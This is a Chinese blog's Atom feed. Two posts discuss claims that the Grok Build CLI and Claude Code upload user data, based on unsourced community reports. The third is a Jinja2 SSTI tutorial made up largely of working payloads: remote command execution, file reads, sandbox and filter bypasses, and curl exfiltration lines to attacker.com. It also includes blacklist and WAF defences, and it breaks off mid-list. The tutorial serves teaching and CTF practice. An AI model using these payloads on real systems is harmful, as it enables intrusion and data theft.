<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="/rss/atom-styles.xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>Shenlin Blog</title>
  <subtitle>Litos is a modern blogging theme built on Astro.js, designed for developers. It supports multiple post layouts, photo displays, project displays, and more, providing an elegant user experience and powerful customization capabilities.</subtitle>
  <link href="https://blog.shenlin.black//atom.xml" rel="self" type="application/atom+xml"/>
  <link href="https://blog.shenlin.black/" rel="alternate" type="text/html"/>
  <updated>2026-07-15T15:37:10.756Z</updated>
  <language>zh</language>
  <id>https://blog.shenlin.black//</id>
  <author>
    <name>神林</name>
    <uri>https://blog.shenlin.black/</uri>
  </author>
  <generator uri="https://github.com/Sh3n1in/blog" version="5.0">Astro Litos Theme</generator>
  <rights>Copyright © 2026 神林</rights>
  
  <entry>
    <title>Grok Build CLI 存在偷传用户数据问题？</title>
    <link href="https://blog.shenlin.black//posts/grok-build-cli-privacy" rel="alternate" type="text/html"/>
    <id>https://blog.shenlin.black//posts/grok-build-cli-privacy</id>
    <updated>2026-07-15T00:00:00.000Z</updated>
    <published>2026-07-15T00:00:00.000Z</published>
    <author>
      <name>神林</name>
    </author>
    <summary type="text">探讨最近爆出的 Grok Build CLI 工具在后台暗中收集和回传用户环境及代码数据的安全争议，以及我们该如何防范。</summary>
    <content type="html"><![CDATA[<img src="https://blog.shenlin.black/_astro/cover.DJg-Ipa-_kqtDz.webp" alt="Grok Build CLI 存在偷传用户数据问题？" style="width: 100%; height: auto; margin-bottom: 1em;" />
<p>近期，随着 xAI 的生态不断扩展，其配套的开发者工具 <strong>Grok Build CLI</strong> 受到了不少开发者的关注。作为一款主打智能化、旨在提升构建和部署效率的命令行工具，它在带来便利的同时，却在开发者社区中引发了一场不小的信任危机。</p>
<p>最近，有安全研究人员和开发者在技术论坛上爆料，指出 Grok Build CLI 在运行过程中存在“偷传用户数据”的行为。这究竟是常规的遥测数据收集，还是不可原谅的隐私侵犯？本文将为你梳理事件的来龙去脉。</p>
<hr />
<h3>🚨 争议的焦点：它在后台做了什么？</h3>
<p>很多开发者在使用抓包工具（如 Wireshark、Charles）监控本地网络流量时，发现 Grok Build CLI 在执行看似普通的本地构建命令时，会向 xAI 的服务器发送大量的加密数据包。进一步的逆向分析揭示，这些上传的数据不仅包含了基础的遥测信息，还涉嫌包含了过度收集的用户数据：</p>
<ol>
<li><strong>环境与系统信息</strong>：包括操作系统的详细版本、当前用户的环境变量、CPU 与内存的硬件配置信息。</li>
<li><strong>项目架构特征</strong>：工具会扫描当前项目的工作区，上传目录结构树、依赖配置文件（如 <code>package.json</code>、<code>requirements.txt</code> 等），甚至包括某些被忽略的本地配置文件。</li>
<li><strong>部分源代码片段</strong>：在某些构建报错的情况下，CLI 似乎会自动截取包含错误上下文的代码片段并上传，以此来辅助“云端 AI 错误分析”，但这通常未在命令行界面给予明确的授权提示。</li>
</ol>
<p>对于许多涉及商业机密或严格合规要求的企业开发者来说，这种未明确告知的“偷传”行为无疑触碰了安全红线。</p>
<div><div><div></div><div>WARNING</div></div><div><p>如果你的项目中包含硬编码的敏感凭证（如数据库密码、API Key），或者 <code>.env</code> 文件未被正确隔离，这些敏感信息极有可能在工具扫描目录时被打包上传。</p></div></div>
<hr />
<h3>🛡️ 是“常规遥测”还是“过度收集”？</h3>
<p>针对社区的质疑，官方往往会以“改善产品体验”和“提供智能错误诊断”作为解释。确实，在现代开发者工具（如 VS Code、各类语言的官方 CLI）中，收集遥测数据（Telemetry）早已是行业惯例。</p>
<p>然而，Grok Build CLI 此次惹众怒的原因在于：</p>
<ul>
<li><strong>缺乏透明度</strong>：在安装和初始化的过程中，没有醒目的提示告知用户数据将被收集。</li>
<li><strong>Opt-out 机制隐蔽</strong>：默认开启了全量收集，且关闭遥测的命令并未在官方文档的显眼位置标注。</li>
<li><strong>收集范围过大</strong>：将收集范围从单纯的“工具崩溃日志”扩大到了“项目代码上下文”，打破了本地工具应有的边界。</li>
</ul>
<hr />
<h3>🛠️ 如何防范？安全使用指南</h3>
<p>如果你仍然需要使用 Grok Build CLI，或者身处必须使用的企业环境中，建议采取以下防范措施来保护你的代码和数据安全：</p>
<h4>1. 强制关闭遥测功能</h4>
<p>据社区摸索，可以通过设置环境变量或运行配置命令来尝试关闭其遥测功能。在使用该工具前，请确保执行以下操作：</p>
<pre><code># 通过命令行配置关闭遥测
grok config set telemetry false

# 或者通过环境变量禁用（建议写入 ~/.bashrc 或 ~/.zshrc）
export GROK_CLI_TELEMETRY_OPTOUT=1
</code></pre>
<h4>2. 配置严格的忽略规则</h4>
<p>类似于 Git，确保在项目根目录中配置忽略文件，明确拒绝对敏感文件和目录的访问：</p>
<ul>
<li>仔细检查并完善你的 <code>.gitignore</code>。</li>
<li>如果该工具有专属的忽略文件（如 <code>.grokignore</code>），请务必在其中添加 <code>.env</code>、<code>keys/</code>、<code>secrets/</code> 等目录。</li>
</ul>
<h4>3. 使用网络沙箱或防火墙拦截</h4>
<p>对于极度敏感的项目，建议在受限的网络环境中运行构建命令。你可以使用防火墙规则（如 macOS 的 Little Snitch、Linux 的 iptables 或 ufw）来拦截 Grok Build CLI 进程对外部遥测域名的访问，仅放行必要的依赖下载请求。</p>
<div><div><div></div><div>TIP</div></div><div><p>定期审计你的本地开发工具链。不要因为工具挂着“AI”或“智能”的标签，就盲目放松对其网络行为的警惕。</p></div></div>
<hr />
<h3>📝 结语</h3>
<p>Grok Build CLI 偷传数据风波，再次给我们敲响了警钟。在 AI 深度融入开发工作流的今天，工具的“智能化”往往以牺牲本地环境的“封闭性”为代价。</p>
<p>作为开发者，我们不仅要关注工具能带来多少效率的提升，更要时刻保持对隐私和数据安全的敏感度。毕竟，最好的代码永远是安全且属于你自己的代码。</p>]]></content>
    <category term="AI" />
    <category term="Security" />
    <category term="Grok" />
  </entry>
  <entry>
    <title>Claude Code 里发现间谍代码？</title>
    <link href="https://blog.shenlin.black//posts/claude-code-spy-code" rel="alternate" type="text/html"/>
    <id>https://blog.shenlin.black//posts/claude-code-spy-code</id>
    <updated>2026-07-08T00:00:00.000Z</updated>
    <published>2026-07-08T00:00:00.000Z</published>
    <author>
      <name>神林</name>
    </author>
    <summary type="text">深入剖析 Anthropic 发布的 CLI 编码工具 Claude Code 背后关于隐私安全、遥测数据收集与所谓的“间谍行为”争议。</summary>
    <content type="html"><![CDATA[<img src="https://blog.shenlin.black/_astro/cover.DnlxPQoX_Z1TdtuE.webp" alt="Claude Code 里发现间谍代码？" style="width: 100%; height: auto; margin-bottom: 1em;" />
<p>随着 Anthropic 推出的 CLI 智能体 <a href="https://www.anthropic.com/claude/code" rel="noopener noreferrer" target="_blank">Claude Code</a> 在开发者圈子里迅速走红，关于它的讨论也从最初的“提效神器”延伸到了隐私和安全的层面。</p>
<p>最近，在社交媒体和一些开发者论坛上，有人声称在 Claude Code 的运行逻辑中发现了“类似间谍行为”的代码。这究竟是确有其事，还是只是一场虚惊？本文将带你一探究竟。</p>
<hr />
<h3>🔍 争议的焦点：它在上传什么？</h3>
<p>许多开发者在企业或个人的严格网络监控下使用 Claude Code 时，发现它会频繁地向 Anthropic 的服务器发送 HTTPS 请求。更让人担忧的是，有安全人员抓包发现：</p>
<ol>
<li><strong>代码库上下文（Context）</strong>：Claude Code 在执行任务时，会自动索引当前工作区的目录结构、文件内容，甚至 Git 提交历史，并在提示词中将其发送给 Claude 接口。</li>
<li><strong>终端历史记录</strong>：有些执行过的 Shell 命令会被记录并发送。</li>
<li><strong>遥测数据（Telemetry）</strong>：包括你的操作系统类型、CLI 版本、使用频率，以及运行时的错误日志。</li>
</ol>
<p>对于习惯了本地离线工具（如 <code>grep</code>、<code>sed</code>）的传统开发者来说，工具私自扫描代码库并联网上传，确实具有极强的“间谍软件”既视感。</p>
<div><div><div></div><div>WARNING</div></div><div><p>如果你的项目包含敏感的商业机密、硬编码的 API 密钥或凭证，在默认配置下使用此类联网的 AI 智能体，极有可能导致核心资产外泄。</p></div></div>
<hr />
<h3>🛡️ “间谍代码”的真相</h3>
<p>客观来看，Claude Code 的这些行为与其说它是“间谍”，不如说是<strong>当前 Agent 架构的必然技术妥协</strong>。</p>
<ul>
<li><strong>为什么需要上下文？</strong>：作为一个自主型 Agent，Claude Code 必须了解你的项目架构才能正确修改代码。如果它不读取文件，就无法进行跨文件的重构和调试。</li>
<li><strong>关于遥测（Telemetry）</strong>：Anthropic 官方在其安全文档中指出，收集遥测数据仅用于产品改进和故障排查，并不以训练为目的直接兜售代码。</li>
<li><strong>代码数据存储</strong>：根据 Anthropic 的企业隐私协议，通过 API（包括 Claude Code 所使用的后台接口）传输的数据默认在 30 天内删除，且不用于训练其公开模型。</li>
</ul>
<p>尽管如此，这种“先斩后奏”的扫描和上传机制在未经企业信息安全部门审批前，依然是一项巨大的安全隐患。</p>
<hr />
<h3>🛠️ 如何彻底“防谍”？配置与避坑指南</h3>
<p>如果你希望继续享受 Claude Code 带来的便利，同时最大程度保护隐私，建议采取以下防范手段：</p>
<h4>1. 关闭遥测数据收集</h4>
<p>在安装或运行 Claude Code 时，你可以通过全局设置显式禁用 Telemetry。
运行以下命令关闭数据收集：</p>
<pre><code>claude config set telemetry false
</code></pre>
<h4>2. 配置 <code>.claudecodingignore</code>（最重要的一步）</h4>
<p>类似于 <code>.gitignore</code>，你可以在项目根目录下创建 <code>.claudecodingignore</code> 文件，明确禁止 Claude Code 访问特定的敏感目录或文件（如 <code>.env</code>，<code>secrets/</code>，或者存有商业机密的代码）：</p>
<pre><code># 忽略所有敏感环境配置文件
.env*
*.pem
secrets/

# 忽略打包及依赖目录
node_modules/
dist/
</code></pre>
<h4>3. 审查它所运行的命令</h4>
<p>Claude Code 在执行可能会更改系统状态或联网的 Shell 命令时，会先向你请求授权：</p>
<div><div><div></div><div>TIP</div></div><div><p>永远不要盲目按下 <code>Enter</code> 键批准其执行未知命令。在批准前，请仔细核对它计划执行的每一条 <code>curl</code>、<code>rm</code> 或脚本运行指令。</p></div></div>
<hr />
<h3>📝 结语</h3>
<p>所谓的“间谍代码”，实际上是现代 AI 智能体高度依赖上下文与网络交互的副作用。作为开发者，我们应当保持理性的安全警惕，而非陷入恐慌。</p>
<p>通过合理配置忽略列表、关闭遥测选项并严格审查工具的执行权限，我们完全可以在保护代码安全的前提下，驯服这头强大的 AI 兽。</p>]]></content>
    <category term="AI" />
    <category term="Security" />
    <category term="Claude Code" />
  </entry>
  <entry>
    <title>Python SSTI 漏洞完全指南</title>
    <link href="https://blog.shenlin.black//posts/ssti" rel="alternate" type="text/html"/>
    <id>https://blog.shenlin.black//posts/ssti</id>
    <updated>2025-11-12T00:00:00.000Z</updated>
    <published>2025-11-12T00:00:00.000Z</published>
    <author>
      <name>神林</name>
    </author>
    <summary type="text">全面介绍 Python SSTI 漏洞的成因、利用技术及防护措施，帮助开发者深入理解并有效防范该类安全风险</summary>
    <content type="html"><![CDATA[<img src="https://blog.shenlin.black/_astro/cover.YhHwHYqb_7ohim.webp" alt="Python SSTI 漏洞完全指南" style="width: 100%; height: auto; margin-bottom: 1em;" />
<h2>一、什么是 SSTI？</h2>
<p><strong>SSTI（Server Side Template Injection，服务器端模板注入）</strong> 是一种Web安全漏洞，攻击者通过向模板引擎注入恶意代码，使服务器端执行非预期的操作。</p>
<p>模板引擎在Web开发中用于将用户界面和业务数据分离，使逻辑代码和业务代码分离，提高代码复用性和开发效率。服务器端使用模板引擎对数据进行渲染，再传递给用户，可以针对特定用户/特定参数生成相应的页面。</p>
<h2>二、Python Flask 和 Jinja2 基础</h2>
<h3>Flask 框架简介</h3>
<p>Flask 是 Python 中的轻量级Web应用框架，使用 <strong>Jinja2</strong> 作为模板引擎。</p>
<h4>Flask 快速搭建</h4>
<p>Bash</p>
<pre><code># 安装虚拟环境
pip install virtualenv
# 生成虚拟环境
virtualenv venv
# 激活环境
./venv/Scripts/activate.bat
# 安装Flask
pip install flask
</code></pre>
<h4>基础示例代码</h4>
<p>Python</p>
<pre><code>from flask import Flask
app = Flask(__name__)

@app.route('/')
def hello_world():
    return 'Hello World!'

if __name__ == '__main__':
    app.run()
</code></pre>
<h3>Jinja2 模板语法</h3>
<p>Jinja2 支持以下语法进行数据渲染：</p>
<ul>
<li>​**<code>{{}}</code>**​：将花括号内的内容作为表达式执行并返回结果</li>
</ul>
<p>Python</p>
<pre><code>{{3*4}}  # 会被解析为12
</code></pre>
<ul>
<li>​**<code>{%%}</code>**​：用于声明变量或条件/循环语句</li>
</ul>
<p>Python</p>
<pre><code>{% set s = 'Tuzk1' %}  # 声明变量
{% if var is true %}Tuzk1{%endif%}  # 条件语句
{% for i in range(3) %}Tuzk1{%endfor%}  # 循环语句
</code></pre>
<ul>
<li>​**<code>{##}</code>**​：注释</li>
</ul>
<h2>三、SSTI 漏洞成因</h2>
<h3>漏洞产生原理</h3>
<p>SSTI 漏洞的根本原因是：​<strong>服务器端将用户可控的输入直接拼接到模板中进行渲染</strong>​，导致恶意代码被执行。</p>
<h3>代码对比分析</h3>
<h4>存在漏洞的代码</h4>
<p>Python</p>
<pre><code>from flask import Flask, request, render_template_string
app = Flask(__name__)

@app.route('/')
def index():
    name = request.args.get('name', default='guest')
    t = '''
        &lt;html&gt;
            &lt;h1&gt;Hello %s&lt;/h1&gt;
        &lt;/html&gt;
        ''' % (name)
    # 将拼接后的字符串作为模板进行渲染
    return render_template_string(t)

app.run()
</code></pre>
<p>当传入 <code>{{10-1}}</code> 作为参数时，表达式会被执行，这就是 SSTI 漏洞的特征。</p>
<h4>安全的代码</h4>
<p>Python</p>
<pre><code>from flask import Flask, request, render_template
app = Flask(__name__)

@app.route('/')
def index():
    name = request.args.get('name', default='guest')
    # 先渲染模板，再拼接字符串
    return render_template('index.html', name=name)

app.run()
</code></pre>
<p>​<strong>关键区别</strong>​：<code>render_template</code> 会对字符串进行​<strong>自动转义</strong>​，而 <code>render_template_string</code> 不会自动转义用户拼接的内容。</p>
<h2>四、漏洞利用技术</h2>
<h3>利用思路</h3>
<p>基本的 RCE（远程代码执行）利用思路：</p>
<ol>
<li>找一个内置类（如 <code>[]</code>、<code>""</code>）</li>
<li>通过该类获取到 <code>object</code> 类</li>
<li>通过 <code>object</code> 类获取所有子类</li>
<li>在子类列表中找到可利用的类</li>
<li>调用类下面的函数或使用该类空间下的其他模块</li>
</ol>
<h3>常用魔术方法</h3>









































<table><thead><tr><th><strong>魔术方法</strong></th><th><strong>作用</strong></th></tr></thead><tbody><tr><td><code>__class__</code></td><td>返回对象所属的类</td></tr><tr><td><code>__base__</code></td><td>获取类的直接父类</td></tr><tr><td><code>__bases__</code></td><td>获取父类的元组</td></tr><tr><td><code>__mro__</code></td><td>返回类的调用顺序</td></tr><tr><td><code>__subclasses__</code></td><td>返回所有子类列表</td></tr><tr><td><code>__globals__</code></td><td>获取函数所属空间下的模块、方法及变量</td></tr><tr><td><code>__builtins__</code></td><td>返回Python内置函数</td></tr><tr><td><code>__import__</code></td><td>用于导入模块</td></tr></tbody></table>
<h3>寻找可利用类</h3>
<p>Python</p>
<pre><code># 获取对象所属的类
''.__class__  # &lt;class 'str'&gt;

# 获取父类
''.__class__.__base__  # &lt;class 'object'&gt;

# 获取所有子类
''.__class__.__base__.__subclasses__()
</code></pre>
<p>可利用的类包括：</p>
<ul>
<li><code>linecache</code></li>
<li><code>os._wrap_close</code></li>
<li><code>subprocess.Popen</code></li>
<li><code>warnings.catch_warnings</code></li>
</ul>
<h3>常见 Payload 构造</h3>
<h4>RCE 执行命令</h4>
<p>Python</p>
<pre><code># 利用 warnings.catch_warnings 配合 __builtins__ 得到 eval 函数
{{[].__class__.__base__.__subclasses__()[138].__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")}}

# 利用 os._wrap_close 类
{{"".__class__.__base__.__subclasses__()[128].__init__.__globals__.popen('whoami').read()}}

# 利用 subprocess.Popen 类
{{''.__class__.__base__.__subclasses__()[479]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}
</code></pre>
<h4>文件读写</h4>
<p>Python</p>
<pre><code># Python2 利用 file 类读文件
{{[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()}}

# 通用文件读取
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}
{% endif %}{% endfor %}
</code></pre>
<h3>高级 Payload 构造技巧</h3>
<h4>1. 利用 attr 过滤器绕过沙箱</h4>
<p>最新的 <strong>CVE-2025-27516</strong> 揭示了 Jinja2 沙箱的一个重要绕过技术：^<a href="https://nvd.nist.gov/vuln/detail/CVE-2025-27516#:~:text=Jinja%27s%20sandbox,in%203.1.6." rel="noopener noreferrer" target="_blank">7</a>^^<a href="https://www.cvedetails.com/cve/CVE-2025-27516/#:~:text=Jinja%27s%20sandbox,in%203.1.6." rel="noopener noreferrer" target="_blank">8</a>^</p>
<p>Python</p>
<pre><code># 传统沙箱会拦截 str.format 调用
# 但可以使用 |attr 过滤器获取 format 方法的引用
{{ ''|attr('format')('Hello {}', 'World') }}

# 利用 attr 绕过沙箱执行命令
{{ ''|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(128)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen')('whoami')|attr('read')() }}
</code></pre>
<h4>2. 利用 format 方法的高级技巧</h4>
<p><strong>CVE-2024-56326</strong> 展示了存储恶意字符串 format 方法引用的技术：^<a href="https://www.cvedetails.com/cve/CVE-2024-56326/#:~:text=Jinja%27s%20sandbox,calls%20it." rel="noopener noreferrer" target="_blank">3</a>^</p>
<p>Python</p>
<pre><code># 存储恶意 format 方法引用
{% set evil = '{0.__init__.__globals__[__builtins__][__import__]("os").system("whoami")}'.__format__ %}
# 通过过滤器调用
{{ evil(''.__class__.__base__.__subclasses__()[128]) }}
</code></pre>
<h4>3. 文件名和内容双重控制利用</h4>
<p><strong>CVE-2024-56201</strong> 揭示了当攻击者同时控制模板内容和文件名时的利用方式：^<a href="https://nvd.nist.gov/vuln/detail/cve-2024-56201#:~:text=Jinja%20is,is%20used." rel="noopener noreferrer" target="_blank">2</a>^</p>
<p>Python</p>
<pre><code># 通过控制文件名注入代码
# 文件名: ../../../{{7*7}}.html
# 内容: 恶意模板代码
{% include request.args.file %}  # 可导致任意代码执行
</code></pre>
<h3>混淆和编码技巧</h3>
<h4>1. 字符串拼接混淆</h4>
<p>Python</p>
<pre><code># 使用波浪号(~)连接字符串
{% set a = 'po' %}
{% set b = 'pen' %}
{{ ''.__class__.__base__.__subclasses__()[128].__init__.__globals__[a~b]('whoami').read() }}

# 使用 join 拼接
{% set cmd = ['ca','t',' ','/f','lag']|join %}
{{ ''.__class__.__base__.__subclasses__()[128].__init__.__globals__.popen(cmd).read() }}
</code></pre>
<h4>2. 字符编码绕过</h4>
<p>Python</p>
<pre><code># 十六进制编码
{% set cmd = '\x77\x68\x6f\x61\x6d\x69' %}  # whoami

# 八进制编码
{% set cmd = '\167\150\157\141\155\151' %}  # whoami

# Unicode 编码绕过关键字检测
{{ ''['\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f'] }}  # __class__
</code></pre>
<h4>3. 数字和字符转换</h4>
<p>Python</p>
<pre><code># 使用 chr 函数构造字符串
{% set chr = ().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.chr %}
{% set cmd = chr(119)~chr(104)~chr(111)~chr(97)~chr(109)~chr(105) %}  # whoami
{{ ''.__class__.__base__.__subclasses__()[128].__init__.__globals__.popen(cmd).read() }}
</code></pre>
<h3>深度绕过技术</h3>
<h4>1. 利用 lipsum 对象</h4>
<p>Python</p>
<pre><code># lipsum 是 Jinja2 内置的生成假文本的函数
# 可以通过它获取 __globals__
{{ lipsum.__globals__['os'].popen('whoami').read() }}
{{ lipsum.__globals__.__builtins__.open('/etc/passwd').read() }}
</code></pre>
<h4>2. 利用 cycler 对象</h4>
<p>Python</p>
<pre><code># cycler 用于循环迭代
{{ cycler.__init__.__globals__.os.popen('whoami').read() }}
{{ cycler.__init__.__globals__.__builtins__.eval("__import__('os').system('whoami')") }}
</code></pre>
<h4>3. 利用 joiner 对象</h4>
<p>Python</p>
<pre><code># joiner 用于连接字符串
{{ joiner.__init__.__globals__.os.popen('whoami').read() }}
</code></pre>
<h3>沙箱逃逸技术</h3>
<h4>1. 利用内置过滤器</h4>
<p>Python</p>
<pre><code># 利用 map 过滤器
{{ ''.__class__.__base__.__subclasses__()|map(attribute='__init__')|map(attribute='__globals__')|list|map(attribute='popen')|list }}

# 利用 select 和 reject 过滤器
{{ ().__class__.__base__.__subclasses__()|select('equalto', 'Popen')|list }}
</code></pre>
<h4>2. 利用 namespace 对象</h4>
<p>Python</p>
<pre><code># 创建命名空间对象绕过限制
{% set ns = namespace(a='__cla', b='ss__') %}
{{ ''|attr(ns.a~ns.b) }}  # 等同于 ''.__class__
</code></pre>
<h4>3. 利用 with 语句</h4>
<p>Python</p>
<pre><code># 使用 with 语句创建上下文
{% with %}
  {% set cmd = 'whoami' %}
  {{ ''.__class__.__base__.__subclasses__()[128].__init__.__globals__.popen(cmd).read() }}
{% endwith %}
</code></pre>
<h3>盲注和外带技术</h3>
<h4>1. 基于时间的盲注</h4>
<p>Python</p>
<pre><code># 使用 sleep 延迟
{% if ''.__class__.__base__.__subclasses__()[128].__init__.__globals__.popen('sleep 5').read() %}{% endif %}

# 条件判断配合延迟
{% if config.SECRET_KEY[0] == 'a' %}
  {% for i in range(10000000) %}{% endfor %}
{% endif %}
</code></pre>
<h4>2. DNS 外带</h4>
<p>Python</p>
<pre><code># 将数据通过 DNS 请求外带
{{ ''.__class__.__base__.__subclasses__()[128].__init__.__globals__.popen('curl http://$(whoami).attacker.com/').read() }}

# Base64 编码外带
{{ ''.__class__.__base__.__subclasses__()[128].__init__.__globals__.popen('curl http://attacker.com/$(cat /flag | base64 -w0)').read() }}
</code></pre>
<h4>3. 错误信息外带</h4>
<p>Python</p>
<pre><code># 触发错误显示敏感信息
{{ ''.__class__.__base__.__subclasses__()[128].__init__.__globals__['__builtins__']['eval']('1/0') }}

# 利用异常信息
{{ undefined.variable[config.SECRET_KEY] }}
</code></pre>
<h3>特殊环境下的利用</h3>
<h4>1. Docker 环境利用</h4>
<p>根据 ​<strong>CVE-2025-23211</strong>​，在 Docker Compose 环境中可能以 root 权限执行：^<a href="https://www.cvedetails.com/cve/CVE-2025-23211/#:~:text=Tandoor%20Recipes,in%201.5.24." rel="noopener noreferrer" target="_blank">1</a>^</p>
<p>Python</p>
<pre><code># 检测是否在容器中
{{ ''.__class__.__base__.__subclasses__()[128].__init__.__globals__.popen('cat /proc/1/cgroup').read() }}

# 容器逃逸尝试
{{ ''.__class__.__base__.__subclasses__()[128].__init__.__globals__.popen('fdisk -l').read() }}
</code></pre>
<h4>2. 受限环境突破</h4>
<p>Python</p>
<pre><code># 当 __builtins__ 被删除时
{% for c in [].__class__.__base__.__subclasses__() %}
  {% if c.__name__ == 'catch_warnings' %}
    {% for b in c.__init__.__globals__.values() %}
      {% if b.__class__ == {}.__class__ %}
        {% if 'eval' in b.keys() %}
          {{ b['eval']('__import__("os").popen("whoami").read()') }}
        {% endif %}
      {% endif %}
    {% endfor %}
  {% endif %}
{% endfor %}
</code></pre>
<h2>五、CTF 中的绕过技巧</h2>
<h3>过滤单双引号</h3>
<p>Python</p>
<pre><code># 通过 request 传参绕过
{{"".__class__.__bases__.__getitem__(0).__subclasses__().pop(128).__init__.__globals__.popen(request.values.rce).read()}}&amp;rce=cat /flag

# 使用 chr 函数拼接字符串
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}
</code></pre>
<h3>过滤中括号</h3>
<p>Python</p>
<pre><code># 使用 __getitem__() 和 pop() 绕过
"".__class__.__bases__.__getitem__(0).__subclasses__().pop(128).__init__.__globals__.popen('whoami').read()
</code></pre>
<h3>过滤双下划线</h3>
<p>Python</p>
<pre><code># request 传参绕过
{{''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read()}}
&amp;class=__class__&amp;mro=__mro__&amp;subclasses=__subclasses__
</code></pre>
<h3>过滤双花括号</h3>
<p>Python</p>
<pre><code># 使用 {% print %} 绕过
{%print(''.__class__.__base__.__subclasses__()[138].__init__.__globals__.popen('whoami').read())%}
</code></pre>
<h3>综合绕过示例</h3>
<p>过滤引号、中括号、下划线、花括号的情况：</p>
<p>Python</p>
<pre><code># 使用 getlist 和 attr 组合绕过
{%print(flask|attr(request.args.getlist(request.args.l1)|join)|attr(request.args.getlist(request.args.l2)|join)|attr(request.args.getlist(request.args.l3)|join)()|attr(request.args.getlist(request.args.l4)|join)(138)|attr(request.args.getlist(request.args.l5)|join)|attr(request.args.getlist(request.args.l6)|join)).popen(request.args.rce).read()%}
&amp;l1=a&amp;a=_&amp;a=_&amp;a=class&amp;a=_&amp;a=_
&amp;l2=b&amp;b=_&amp;b=_&amp;b=base&amp;b=_&amp;b=_
&amp;l3=c&amp;c=_&amp;c=_&amp;c=subclasses&amp;c=_&amp;c=_
&amp;l4=d&amp;d=_&amp;d=_&amp;d=getitem&amp;d=_&amp;d=_
&amp;l5=e&amp;e=_&amp;e=_&amp;e=init&amp;e=_&amp;e=_
&amp;l6=f&amp;f=_&amp;f=_&amp;f=globals&amp;f=_&amp;f=_
&amp;rce=whoami
</code></pre>
<h3>防御绕过总结</h3>








































<table><thead><tr><th><strong>过滤内容</strong></th><th><strong>绕过方法</strong></th><th><strong>示例</strong></th></tr></thead><tbody><tr><td>双下划线 <code>__</code></td><td>request 参数、attr 过滤器、编码</td><td><code>request.args.class</code>、`</td></tr><tr><td>中括号 <code>[]</code></td><td><code>__getitem__()</code>、<code>pop()</code></td><td><code>.__getitem__(0)</code></td></tr><tr><td>引号</td><td>request 参数、chr 函数</td><td><code>request.values.cmd</code></td></tr><tr><td>花括号 <code>{{</code></td><td><code>{% print %}</code></td><td><code>{%print(payload)%}</code></td></tr><tr><td>关键字</td><td>拼接、编码、混淆</td><td>字符串连接、hex/unicode 编码</td></tr><tr><td>点号 <code>.</code></td><td>`</td><td>attr()` 过滤器</td></tr></tbody></table>
<h2>六、防御措施</h2>
<h3>1. 代码层面防御</h3>
<p><strong>安全的模板渲染实践</strong></p>
<p>Python</p>
<pre><code># 使用沙箱环境
from jinja2 import Environment, FileSystemLoader, select_autoescape
from jinja2.sandbox import SandboxedEnvironment

# 创建沙箱环境
env = SandboxedEnvironment(
    loader=FileSystemLoader('templates'),
    autoescape=select_autoescape(['html', 'xml'])
)

# 禁用危险函数
env.globals = {}
env.filters = {}
</code></pre>
<h3>2. 输入验证增强</h3>
<p>Python</p>
<pre><code>import re

def validate_template_input(user_input):
    # 黑名单过滤
    blacklist = [
        '__class__', '__base__', '__subclasses__',
        '__globals__', '__import__', 'eval', 'exec',
        'os', 'subprocess', 'open', 'file'
    ]

    for keyword in blacklist:
        if keyword in user_input:
            raise ValueError(f"Forbidden keyword: {keyword}")

    # 正则表达式检测
    dangerous_patterns = [
        r'\{\{.*\}\}',  # Jinja2 表达式
        r'\{%.*%\}',    # Jinja2 语句
        r'__\w+__',     # 双下划线方法
    ]

    for pattern in dangerous_patterns:
        if re.search(pattern, user_input):
            raise ValueError("Potentially dangerous pattern detected")

    return user_input
</code></pre>
<h3>3. WAF 规则配置</h3>
<p>Plaintext</p>
<pre><code># Nginx WAF 规则示例
location / {
    # 检测 SSTI 特征
    if ($args ~* "(__class__|__base__|__subclasses__|__import__|eval|exec)") {
        return 403;
    }

    if ($request_body ~* "(\{\{|\{%|__\w+__)") {
        return 403;
    }
}
</code></pre>
<h3>4. 深度防御策略</h3>
<ol>
<li>​<strong>避免直接拼接用户输入</strong>​：先渲染模板，再处理用户输入</li>
<li>​<strong>使用安全的渲染函数</strong>​：使用 <code>render_template</code> 而非 <code>render_template_string</code></li>
<li>​<strong>输入验证和过滤</strong>​：对用户输入进行严格的验证和过滤</li>
<li>​<strong>最小权限原则</strong>​：限制模板引擎的执行权限</li>
<li>​<strong>使用沙箱环境</strong>​：在受限的环境中执行模板渲染</li>
</ol>
<h2>七、真实世界的 SSTI 漏洞案例</h2>
<h3>近期 CVE 漏洞</h3>
<p>以下是一些真实存在的 SSTI 漏洞案例，展示了该漏洞在实际应用中的危害：</p>
<p><strong>CVE-2025-49619</strong> - Skyvern SSTI 漏洞^<a href="https://www.cvedetails.com/cve/CVE-2025-49619/#:~:text=CVE-2025-49619%20%3A,v2%20Block." rel="noopener noreferrer" target="_blank">13</a>^^<a href="https://nvd.nist.gov/vuln/detail/CVE-2025-49619#:~:text=Skyvern%20through,v2%20Block." rel="noopener noreferrer" target="_blank">12</a>^</p>
<ul>
<li>影响版本：Skyvern 0.1.85 及之前版本</li>
<li>漏洞位置：工作流块（如 Navigation v2 Block）的 Prompt 字段</li>
<li>危害：攻击者可通过注入恶意模板代码执行任意命令</li>
</ul>
<p><strong>CVE-2025-25362</strong> - Spacy-LLM SSTI 漏洞^<a href="https://www.cvedetails.com/cve/CVE-2025-25362/#:~:text=A%20Server-Side,template%20field." rel="noopener noreferrer" target="_blank">5</a>^</p>
<ul>
<li>影响版本：Spacy-LLM v0.7.2</li>
<li>漏洞原理：模板字段未正确过滤用户输入</li>
<li>利用方式：通过注入精心构造的 payload 到模板字段实现任意代码执行</li>
</ul>
<p><strong>CVE-2024-22722</strong> - Form Tools SSTI 漏洞^<a href="https://www.cvedetails.com/cve/CVE-2024-22722/#:~:text=Server%20Side,the%20application." rel="noopener noreferrer" target="_blank">4</a>^</p>
<ul>
<li>影响版本：Form Tools 3.1.1</li>
<li>漏洞位置：添加表单部分的 Group Name 字段</li>
